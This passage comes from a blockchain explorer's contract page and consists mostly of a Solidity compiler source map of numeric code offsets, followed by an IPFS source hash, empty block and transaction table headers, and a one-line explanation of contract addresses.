:::i;3411:282::-;3504:10;;3492:9;;-1:-1:-1;;;;;3504:10:0;3518;3504:24;:34;;3535:3;3504:34;;;3531:1;3504:34;3492:46;;;-1:-1:-1;3549:9:0;3561:5;3565:1;3492:46;3561:5;:::i;:::-;3549:17;;3571:1;3567:5;;3588:9;3583:103;3607:5;:12;3603:1;:16;3583:103;;;3664:10;3641;:20;3652:5;3658:1;3652:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3641:20:0;-1:-1:-1;;;;;3641:20:0;;;;;;;;;;;;:33;;;;3621:3;;;;;:::i;:::-;;;;3583:103;;;;3481:212;;3411:282;;:::o;4065:130::-;4134:4;4141:40;4151:10;4163:9;4174:6;4141:9;:40::i;4790:151::-;-1:-1:-1;;;;;4865:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4907:32;;1342:25:1;;;4907:32:0;;1315:18:1;4907:32:0;;;;;;;4790:151;;;:::o;1835:702::-;1939:6;;1915:20;;-1:-1:-1;;;1939:6:0;;;;1938:7;:35;;;;-1:-1:-1;;;;;;1950:23:0;;;;;;:17;:23;;;;;;;;1949:24;1938:35;:61;;;;-1:-1:-1;;;;;;1978:21:0;;;;;;:17;:21;;;;;;;;1977:22;1938:61;-1:-1:-1;;;;;2030:15:0;;;;;;:9;:15;;;;;;1915:84;;-1:-1:-1;2030:24:0;;2048:6;;2030:24;:::i;:::-;-1:-1:-1;;;;;2012:15:0;;;;;;:9;:15;;;;;:42;;;;2096:317;;;;-1:-1:-1;;;;;2161:16:0;;2132:17;2161:16;;;:10;:16;;;;;;2180:3;;2152:25;;:6;:25;:::i;:::-;:31;;;;:::i;:::-;2132:51;-1:-1:-1;2198:23:0;2132:51;2198:23;;:::i;:::-;;-1:-1:-1;2240:13:0;;2236:166;;2291:10;;-1:-1:-1;;;;;2291:10:0;2273:30;;;;:9;:30;;;;;:43;;2307:9;;2273:30;:43;;2307:9;;2273:43;:::i;:::-;;;;-1:-1:-1;;2363:10:0;;2340:46;;1342:25:1;;;-1:-1:-1;;;;;2363:10:0;;;;2340:46;;;;;1330:2:1;1315:18;2340:46:0;;;;;;;2236:166;2117:296;2096:317;-1:-1:-1;;;;;2439:13:0;;;;;;:9;:13;;;;;;2464:10;;2439:22;;2455:6;;2439:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2423:13:0;;;;;;;:9;:13;;;;;:51;;;;2490:39;;;2509:19;2518:10;2509:6;:19;:::i;:::-;2490:39;;1342:25:1;;;1330:2;1315:18;2490:39:0;;;;;;;1902:635;;1835:702;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2528:127::-;2589:10;2584:3;2580:20;2577:1;2570:31;2620:4;2617:1;2610:15;2644:4;2641:1;2634:15;2660:1191;2753:6;2761;2814:2;2802:9;2793:7;2789:23;2785:32;2782:52;;;2830:1;2827;2820:12;2782:52;2870:9;2857:23;2899:18;2940:2;2932:6;2929:14;2926:34;;;2956:1;2953;2946:12;2926:34;2994:6;2983:9;2979:22;2969:32;;3039:7;3032:4;3028:2;3024:13;3020:27;3010:55;;3061:1;3058;3051:12;3010:55;3097:2;3084:16;3119:4;3142:2;3138;3135:10;3132:36;;;3148:18;;:::i;:::-;3194:2;3191:1;3187:10;3226:2;3220:9;3289:2;3285:7;3280:2;3276;3272:11;3268:25;3260:6;3256:38;3344:6;3332:10;3329:22;3324:2;3312:10;3309:18;3306:46;3303:72;;;3355:18;;:::i;:::-;3391:2;3384:22;3441:18;;;3475:15;;;;-1:-1:-1;3517:11:1;;;3513:20;;;3545:19;;;3542:39;;;3577:1;3574;3567:12;3542:39;3601:11;;;;3621:148;3637:6;3632:3;3629:15;3621:148;;;3703:23;3722:3;3703:23;:::i;:::-;3691:36;;3654:12;;;;3747;;;;3621:148;;;3788:6;3826:18;;;;3813:32;;-1:-1:-1;;;;;;;2660:1191:1:o;3856:260::-;3924:6;3932;3985:2;3973:9;3964:7;3960:23;3956:32;3953:52;;;4001:1;3998;3991:12;3953:52;4024:29;4043:9;4024:29;:::i;:::-;4014:39;;4072:38;4106:2;4095:9;4091:18;4072:38;:::i;:::-;4062:48;;3856:260;;;;;:::o;4121:380::-;4200:1;4196:12;;;;4243;;;4264:61;;4318:4;4310:6;4306:17;4296:27;;4264:61;4371:2;4363:6;4360:14;4340:18;4337:38;4334:161;;4417:10;4412:3;4408:20;4405:1;4398:31;4452:4;4449:1;4442:15;4480:4;4477:1;4470:15;4334:161;;4121:380;;;:::o;4506:127::-;4567:10;4562:3;4558:20;4555:1;4548:31;4598:4;4595:1;4588:15;4622:4;4619:1;4612:15;4638:128;4705:9;;;4726:11;;;4723:37;;;4740:18;;:::i;4771:422::-;4860:1;4903:5;4860:1;4917:270;4938:7;4928:8;4925:21;4917:270;;;4997:4;4993:1;4989:6;4985:17;4979:4;4976:27;4973:53;;;5006:18;;:::i;:::-;5056:7;5046:8;5042:22;5039:55;;;5076:16;;;;5039:55;5155:22;;;;5115:15;;;;4917:270;;;4921:3;4771:422;;;;;:::o;5198:806::-;5247:5;5277:8;5267:80;;-1:-1:-1;5318:1:1;5332:5;;5267:80;5366:4;5356:76;;-1:-1:-1;5403:1:1;5417:5;;5356:76;5448:4;5466:1;5461:59;;;;5534:1;5529:130;;;;5441:218;;5461:59;5491:1;5482:10;;5505:5;;;5529:130;5566:3;5556:8;5553:17;5550:43;;;5573:18;;:::i;:::-;-1:-1:-1;;5629:1:1;5615:16;;5644:5;;5441:218;;5743:2;5733:8;5730:16;5724:3;5718:4;5715:13;5711:36;5705:2;5695:8;5692:16;5687:2;5681:4;5678:12;5674:35;5671:77;5668:159;;;-1:-1:-1;5780:19:1;;;5812:5;;5668:159;5859:34;5884:8;5878:4;5859:34;:::i;:::-;5929:6;5925:1;5921:6;5917:19;5908:7;5905:32;5902:58;;;5940:18;;:::i;:::-;5978:20;;5198:806;-1:-1:-1;;;5198:806:1:o;6009:140::-;6067:5;6096:47;6137:4;6127:8;6123:19;6117:4;6096:47;:::i;6154:168::-;6227:9;;;6258;;6275:15;;;6269:22;;6255:37;6245:71;;6296:18;;:::i;6661:127::-;6722:10;6717:3;6713:20;6710:1;6703:31;6753:4;6750:1;6743:15;6777:4;6774:1;6767:15;6793:135;6832:3;6853:17;;;6850:43;;6873:18;;:::i;:::-;-1:-1:-1;6920:1:1;6909:13;;6793:135::o;6933:217::-;6973:1;6999;6989:132;;7043:10;7038:3;7034:20;7031:1;7024:31;7078:4;7075:1;7068:15;7106:4;7103:1;7096:15;6989:132;-1:-1:-1;7135:9:1;;6933:217::o;7155:125::-;7220:9;;;7241:10;;;7238:36;;;7254:18;;:::i

Swarm Source

ipfs://d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e3

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.